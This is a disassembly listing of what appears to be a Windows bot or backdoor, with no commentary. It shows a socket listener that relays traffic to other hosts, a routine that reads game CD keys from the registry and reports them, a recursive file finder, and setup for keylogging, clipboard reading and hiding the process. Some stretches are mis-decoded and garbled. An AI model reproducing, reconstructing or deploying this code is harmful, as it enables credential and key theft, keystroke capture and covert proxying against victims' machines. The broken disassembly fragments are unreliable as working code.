		jnz	short loc_407F88


loc_407FCF:				; CODE XREF: seg000:00407FB2j
		push	ds:dword_43F518[esi]
		call	ds:dword_43A410	; closesocket
		push	dword ptr [ebp-14h]
		call	sub_415295
		pop	ecx
		push	0
		call	near ptr 3D0000h
		pop	eax
		pop	edi
		pop	esi


loc_407FEE:				; DATA XREF: seg000:004126E6o
		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp-0D4h]
		push	2Ch
		mov	[ebp-4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-40h]
		call	ds:dword_43A378	; ntohs
		push	6
		push	edi
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		call	ds:dword_43A3F8	; socket
		mov	edi, eax
		mov	eax, [ebp-3Ch]
		imul	eax, 234h
		push	ebx
		mov	ds:dword_43F514[eax], edi
		lea	eax, [ebp-14h]
		push	eax
		push	edi
		call	ds:dword_43A3A4	; bind
		test	eax, eax
		jnz	loc_408190
		push	0Ah
		push	edi
		call	ds:dword_43A3A0	; listen
		test	eax, eax
		jnz	loc_408190
		push	dword ptr [ebp-40h]
		push	dword ptr [ebp-0D4h]
		call	sub_40A155
		pop	ecx
		push	eax
		lea	eax, [ebp-2D4h]
		push	offset unk_427D24
		push	eax
		call	sub_4154CD
		add	esp, 10h
		cmp	[ebp-30h], esi
		jnz	short loc_4080C9
		push	esi
		lea	eax, [ebp-2D4h]
		push	dword ptr [ebp-34h]
		push	eax
		lea	eax, [ebp-0D0h]
		push	eax
		push	dword ptr [ebp-0D4h]
		call	sub_412D32
		add	esp, 14h


loc_4080C9:				; CODE XREF: seg000:004080A7j
					; seg000:00408160j ...
		lea	eax, [ebp-2D4h]
		push	eax
		call	sub_40B151
		pop	ecx
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-24h]
		push	eax
		push	edi
		call	ds:dword_43A40C	; accept
		push	dword ptr [ebp-3Ch]
		mov	ebx, eax
		movzx	eax, word ptr [ebp-22h]
		push	eax
		mov	[ebp-28h], esi
		push	dword ptr [ebp-20h]
		call	ds:dword_43A404	; inet_ntoa
		push	eax
		lea	eax, [ebp-2D4h]
		push	offset unk_427CCC
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-2D4h]
		push	11h
		push	eax
		call	sub_414F79
		mov	[ebp-38h], eax
		imul	eax, 234h
		mov	ecx, [ebp-3Ch]
		add	esp, 20h
		mov	ds:dword_43F50C[eax], ecx
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-0D4h]
		push	esi
		push	eax
		push	offset loc_4081F3
		push	esi
		push	esi
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp-38h]
		imul	ecx, 234h
		cmp	eax, esi
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_408170


loc_40815D:				; CODE XREF: seg000:0040816Ej
		cmp	[ebp-28h], esi
		jnz	loc_4080C9
		push	5
		call	ds:dword_421060	; Sleep
		jmp	short loc_40815D
; ---------------------------------------------------------------------------


loc_408170:				; CODE XREF: seg000:0040815Bj
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-2D4h]
		push	offset unk_427C80
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		jmp	loc_4080C9
; ---------------------------------------------------------------------------


loc_408190:				; CODE XREF: seg000:00408069j
					; seg000:0040807Aj
		push	edi
		call	ds:dword_43A410	; closesocket
		push	dword ptr [ebp-40h]
		lea	eax, [ebp-2D4h]
		push	offset unk_427C3C
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4081D3
		push	esi
		lea	eax, [ebp-2D4h]
		push	dword ptr [ebp-34h]
		push	eax
		lea	eax, [ebp-0D0h]
		push	eax
		push	dword ptr [ebp-0D4h]
		call	sub_412D32
		add	esp, 14h


loc_4081D3:				; CODE XREF: seg000:004081B1j
		lea	eax, [ebp-2D4h]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-3Ch]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 3D0000h
		pop	edi
		pop	edi
		pop	esi
		pop	ebx


loc_4081F3:				; DATA XREF: seg000:0040813Do
		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-0C8h]
		rep movsd
		mov	esi, [ebp-2Ch]
		push	1
		mov	[ebp+8], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_43F514[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	dword ptr [ebp-8], 5
		mov	[ebp-5D0h], eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		lea	eax, [ebp-5D4h]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp-4], ebx
		mov	[ebp-5D4h], edi
		call	ds:dword_43A360	; select
		test	eax, eax
		jnz	short near ptr loc_408273+1
		push	dword ptr [esi]
		call	ds:dword_43A410	; closesocket
		push	dword ptr [ebp+8]
		call	sub_415295
		pop	ecx
		push	ebx
		call	near ptr 3D0000h


loc_408273:				; CODE XREF: seg000:0040825Aj
		js	short loc_4082C8
		lea	eax, [ebp-4D0h]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	ds:dword_43A390	; recv
		test	eax, eax
		jg	short near ptr loc_4082A4+1
		push	dword ptr [esi]
		call	ds:dword_43A410	; closesocket
		push	dword ptr [ebp+8]
		call	sub_415295
		pop	ecx
		push	ebx
		call	near ptr 3D0000h


loc_4082A4:				; CODE XREF: seg000:0040828Bj
		mov	[eax-4CF43h], al
		inc	dword ptr [edi+ecx]
		test	ebp, ebp
		add	[eax], eax
		add	[eax-4CE43h], al
		inc	dword ptr [ecx]
		jnz	near ptr loc_40849E+1
		cmp	[ebp-44h], bl
		jz	short loc_40833B
		lea	eax, [ebp-44h]
		push	eax


loc_4082C8:				; CODE XREF: seg000:loc_408273j
		lea	eax, [ebp-4C8h]
		push	eax
		call	sub_4158F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40833B
		lea	eax, [ebp-44h]
		push	eax
		lea	eax, [ebp-4C8h]
		push	eax
		push	offset dword_427E04
		call	sub_40B1C5
		push	400h
		lea	eax, [ebp-4C8h]
		push	ebx
		push	eax
		mov	[ebp-4D0h], bl
		mov	byte ptr [ebp-4CFh], 5Dh
		call	sub_415550
		add	esp, 18h
		lea	eax, [ebp-4D0h]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	ds:dword_43A3C8	; send
		push	dword ptr [esi]
		call	ds:dword_43A410	; closesocket
		push	dword ptr [ebp+8]
		call	sub_415295
		pop	ecx
		push	ebx
		call	near ptr 3D0000h
		stc


loc_40833B:				; CODE XREF: seg000:004082C2j
					; seg000:004082D8j
		push	10h
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_415550
		mov	ax, [ebp-4CEh]
		add	esp, 0Ch
		mov	[ebp-16h], ax
		mov	eax, [ebp-4CCh]
		push	6
		push	edi
		push	2
		mov	word ptr [ebp-18h], 2
		mov	[ebp-14h], eax
		call	ds:dword_43A3F8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short near ptr loc_4083D2+1
		call	ds:dword_43A30C	; WSAGetLastError
		push	eax
		push	offset unk_427DB4
		call	sub_40B1C5
		push	400h
		lea	eax, [ebp-4C8h]
		push	ebx
		push	eax
		mov	[ebp-4D0h], bl
		mov	byte ptr [ebp-4CFh], 5Bh
		call	sub_415550
		add	esp, 14h
		lea	eax, [ebp-4D0h]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	ds:dword_43A3C8	; send
		push	dword ptr [esi]
		call	ds:dword_43A410	; closesocket
		push	dword ptr [ebp+8]
		call	sub_415295
		pop	ecx
		push	ebx
		call	near ptr 3D0000h


loc_4083D2:				; CODE XREF: seg000:00408374j
		fmul	dword ptr [ebp+106AE845h]
		push	eax
		push	edi
		call	ds:dword_43A320	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short near ptr loc_408441+1
		call	ds:dword_43A30C	; WSAGetLastError
		push	eax
		push	offset unk_427D60
		call	sub_40B1C5
		push	400h
		lea	eax, [ebp-4C8h]
		push	ebx
		push	eax
		mov	[ebp-4D0h], bl
		mov	byte ptr [ebp-4CFh], 5Bh
		call	sub_415550
		add	esp, 14h
		lea	eax, [ebp-4D0h]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	ds:dword_43A3C8	; send
		push	dword ptr [esi]
		call	ds:dword_43A410	; closesocket
		push	dword ptr [ebp+8]
		call	sub_415295
		pop	ecx
		push	ebx
		call	near ptr 3D0000h


loc_408441:				; CODE XREF: seg000:004083E3j
		db	2Eh
		push	400h
		lea	eax, [ebp-4C8h]
		push	ebx
		push	eax
		mov	[ebp-4D0h], bl
		mov	byte ptr [ebp-4CFh], 5Ah
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp-4D0h]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	ds:dword_43A3C8	; send
		push	dword ptr [esi]
		push	edi
		call	sub_4084B7
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_43A410	; closesocket
		push	dword ptr [esi]
		call	ds:dword_43A410	; closesocket
		push	dword ptr [ebp+8]
		call	sub_415295
		pop	ecx
		push	ebx
		call	near ptr 3D0000h


loc_40849E:				; CODE XREF: seg000:004082B9j
		arpl	di, di
		call	ss:dword_43A410	; closesocket
		push	dword ptr [ebp+8]
		call	sub_415295
		pop	ecx
		push	ebx
		call	near ptr 3D0000h
; ---------------------------------------------------------------------------
		db 0A1h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4084B7	proc near		; CODE XREF: seg000:00408479p

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4084CD:				; CODE XREF: sub_4084B7+C5j
					; sub_4084B7+F5j
		mov	[ebp+var_100], ebx
		mov	[ebp+var_104], 1
		xor	ecx, ecx
		lea	eax, [ebp+var_100]


loc_4084E5:				; CODE XREF: sub_4084B7+3Cj
		mov	edx, [ebp+arg_0]
		cmp	[eax], edx
		jz	short loc_4084F5
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4084E5


loc_4084F5:				; CODE XREF: sub_4084B7+33j
		cmp	ecx, 1
		jnz	short loc_40850A
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2


loc_40850A:				; CODE XREF: sub_4084B7+41j
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	ds:dword_43A360	; select
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	ds:dword_43A270	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_40856A
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	ds:dword_43A390	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085B2
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43A3C8	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085B2


loc_40856A:				; CODE XREF: sub_4084B7+85j
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43A270	; __WSAFDIsSet
		test	eax, eax
		jz	loc_4084CD
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43A390	; recv
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085B2
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	ds:dword_43A3C8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4084CD


loc_4085B2:				; CODE XREF: sub_4084B7+9Aj
					; sub_4084B7+B1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4084B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4085B7	proc near		; CODE XREF: seg000:004120EBp

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	ds:off_427E5C, ebx
		mov	[ebp+var_C], 80h
		jz	loc_408769
		push	esi
		push	edi
		mov	eax, offset off_427E5C
		mov	esi, offset dword_427E68
		mov	edi, offset aSCdKeyS_ ;	"%s CD Key: (%s)."


loc_4085E7:				; CODE XREF: sub_4085B7+1AAj
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	ds:dword_43A3E8	; RegOpenKeyExA
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	ds:dword_43A284	; RegQueryValueExA
		test	eax, eax
		jnz	loc_40874F
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_408713
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4154CD
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_415BC8
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_40874F
		push	eax


loc_408660:				; CODE XREF: sub_4085B7+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41711C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_408708
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_415AA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40868D
		push	[ebp+var_8]
		jmp	short loc_408660
; ---------------------------------------------------------------------------


loc_40868D:				; CODE XREF: sub_4085B7+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_417060
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4086CC
		lea	eax, [ebp+var_70]
		push	offset asc_429060 ; "="
		push	eax
		call	sub_416C78
		push	offset asc_429060 ; "="
		push	ebx
		call	sub_416C78
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4154CD
		add	esp, 20h
		jmp	short loc_4086E3
; ---------------------------------------------------------------------------


loc_4086CC:				; CODE XREF: sub_4085B7+E4j
		lea	eax, [ebp+var_70]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4154CD
		add	esp, 10h


loc_4086E3:				; CODE XREF: sub_4085B7+113j
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40B151
		add	esp, 18h


loc_408708:				; CODE XREF: sub_4085B7+B9j
		push	[ebp+var_8]
		call	sub_415B20
		pop	ecx
		jmp	short loc_40874F
; ---------------------------------------------------------------------------


loc_408713:				; CODE XREF: sub_4085B7+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40B151
		add	esp, 28h


loc_40874F:				; CODE XREF: sub_4085B7+60j
					; sub_4085B7+A2j ...
		push	[ebp+var_4]
		call	ds:dword_43A354	; RegCloseKey
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_4085E7
		pop	edi
		pop	esi


loc_408769:				; CODE XREF: sub_4085B7+19j
		pop	ebx
		leave
		retn
sub_4085B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40876C	proc near		; DATA XREF: seg000:00410A58o

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_415CD0
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_4087C1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_415CD0
		pop	ecx
		mov	[ebp+eax+var_115], bl


loc_4087C1:				; CODE XREF: sub_40876C+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_4290B8
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_415A4A
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_408806
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_412D32
		add	esp, 14h


loc_408806:				; CODE XREF: sub_40876C+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	sub_408884
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset unk_429084
		push	eax
		call	sub_4154CD
		add	esp, 24h
		cmp	[ebp+var_8], ebx
		jnz	short loc_408864
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_412D32
		add	esp, 14h


loc_408864:				; CODE XREF: sub_40876C+D6j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_40B151
		push	[ebp+var_10]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	ebx
		call	near ptr 3D0000h
		push	5Fh
		pop	esi
		pop	ebx
sub_40876C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408884	proc near		; CODE XREF: sub_40876C+B9p
					; sub_408884+9Ep

var_54C		= byte ptr -54Ch
var_34C		= byte ptr -34Ch
var_248		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+var_248]
		push	offset aS_3	; "%s\\*"
		push	esi
		push	eax
		call	sub_415A4A
		mov	edi, ds:dword_4210A8
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi	; FindFirstFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset aSS_3 ; "%s\\%s"
		jz	short loc_408941


loc_4088D0:				; CODE XREF: sub_408884+BBj
		test	[ebp+var_144], 10h
		jz	short loc_40892D
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_4088F4
		cmp	[ebp+var_117], 0
		jz	short loc_40892D
		cmp	[ebp+var_117], 2Eh
		jz	short loc_40892D


loc_4088F4:				; CODE XREF: sub_408884+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_34C]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_415A4A
		push	[ebp+arg_14]
		lea	eax, [ebp+var_34C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408884
		add	esp, 2Ch
		mov	[ebp+arg_14], eax


loc_40892D:				; CODE XREF: sub_408884+53j
					; sub_408884+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		call	ds:dword_4210A4	; FindNextFileA
		test	eax, eax
		jnz	short loc_4088D0


loc_408941:				; CODE XREF: sub_408884+4Aj
		push	[ebp+var_4]
		call	near ptr 3D0000h
		pop	edx
		push	[ebp+arg_C]
		lea	eax, [ebp+var_248]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_415A4A
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi	; FindFirstFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4089C7


loc_408978:				; CODE XREF: sub_408884+141j
		lea	eax, [ebp+var_118]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	offset aFoundSS	; " Found: %s\\%s"
		push	200h
		push	eax
		call	sub_415A4A
		push	1
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		call	ds:dword_4210A4	; FindNextFileA
		test	eax, eax
		jnz	short loc_408978


loc_4089C7:				; CODE XREF: sub_408884+F2j
		push	esi
		call	near ptr 3D0000h
		inc	esp
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408884	endp


; =============== S U B	R O U T	I N E =======================================



sub_4089D6	proc near		; CODE XREF: seg000:0040C6BBp
		push	ebx
		push	ebp
		mov	ebp, ds:dword_4210C8
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, ds:dword_4210C4
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_408AF6
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	ds:dword_43A424, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	ds:dword_43A398, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	ds:dword_43A37C, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	ds:dword_43A298, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	ds:dword_43A244, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	ds:dword_43A274, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	ds:dword_43A2E8, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	ds:dword_43A3D8, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	ds:dword_43A434, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	ds:dword_43A2A4, eax
		call	esi
		cmp	ds:dword_43A424, ebx
		mov	ds:dword_43A28C, eax
		jz	short loc_408AD4
		cmp	ds:dword_43A398, ebx
		jz	short loc_408AD4
		cmp	ds:dword_43A37C, ebx
		jz	short loc_408AD4
		cmp	ds:dword_43A298, ebx
		jz	short loc_408AD4
		cmp	ds:dword_43A274, ebx
		jz	short loc_408AD4
		cmp	ds:dword_43A2E8, ebx
		jz	short loc_408AD4
		cmp	ds:dword_43A3D8, ebx
		jz	short loc_408AD4
		cmp	ds:dword_43A434, ebx
		jz	short loc_408AD4
		cmp	ds:dword_43A2A4, ebx
		jz	short loc_408AD4
		cmp	eax, ebx
		jnz	short loc_408ADE


loc_408AD4:				; CODE XREF: sub_4089D6+B8j
					; sub_4089D6+C0j ...
		mov	ds:dword_43A438, 1


loc_408ADE:				; CODE XREF: sub_4089D6+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	ds:dword_43A3B0, eax
		jz	short loc_408B0B
		push	1
		push	ebx
		call	eax
		jmp	short loc_408B0B
; ---------------------------------------------------------------------------


loc_408AF6:				; CODE XREF: sub_4089D6+1Dj
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_43A43C, eax
		mov	ds:dword_43A438, 1


loc_408B0B:				; CODE XREF: sub_4089D6+117j
					; sub_4089D6+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_4210C0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408C20
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	ds:dword_43A3D4, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	ds:dword_43A384, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	ds:dword_43A318, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	ds:dword_43A428, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	ds:dword_43A348, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	ds:dword_43A368, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	ds:dword_43A3CC, eax
		call	esi
		cmp	ds:dword_43A3D4, ebx
		mov	ds:dword_43A2C0, eax
		jz	short loc_408BC4
		cmp	ds:dword_43A384, ebx
		jz	short loc_408BC4
		cmp	ds:dword_43A318, ebx
		jz	short loc_408BC4
		cmp	ds:dword_43A428, ebx
		jz	short loc_408BC4
		cmp	ds:dword_43A348, ebx
		jz	short loc_408BC4
		cmp	ds:dword_43A368, ebx
		jz	short loc_408BC4
		cmp	ds:dword_43A3CC, ebx
		jz	short loc_408BC4
		cmp	eax, ebx
		jnz	short loc_408BCE


loc_408BC4:				; CODE XREF: sub_4089D6+1B8j
					; sub_4089D6+1C0j ...
		mov	ds:dword_43A440, 1


loc_408BCE:				; CODE XREF: sub_4089D6+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	ds:dword_43A344, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	ds:dword_43A258, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	ds:dword_43A314, eax
		call	esi
		cmp	ds:dword_43A344, ebx
		mov	ds:dword_43A300, eax
		jz	short loc_408C2B
		cmp	ds:dword_43A258, ebx
		jz	short loc_408C2B
		cmp	ds:dword_43A314, ebx
		jz	short loc_408C2B
		cmp	eax, ebx
		jnz	short loc_408C35
		jmp	short loc_408C2B
; ---------------------------------------------------------------------------


loc_408C20:				; CODE XREF: sub_4089D6+144j
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	ds:dword_43A444, eax


loc_408C2B:				; CODE XREF: sub_4089D6+232j
					; sub_4089D6+23Aj ...
		mov	ds:dword_43A440, 1


loc_408C35:				; CODE XREF: sub_4089D6+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_408DD0
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	ds:dword_43A3E8, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	ds:dword_43A32C, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	ds:dword_43A39C, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	ds:dword_43A284, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	ds:dword_43A2E4, eax
		call	esi
		cmp	ds:dword_43A3E8, ebx
		mov	ds:dword_43A354, eax
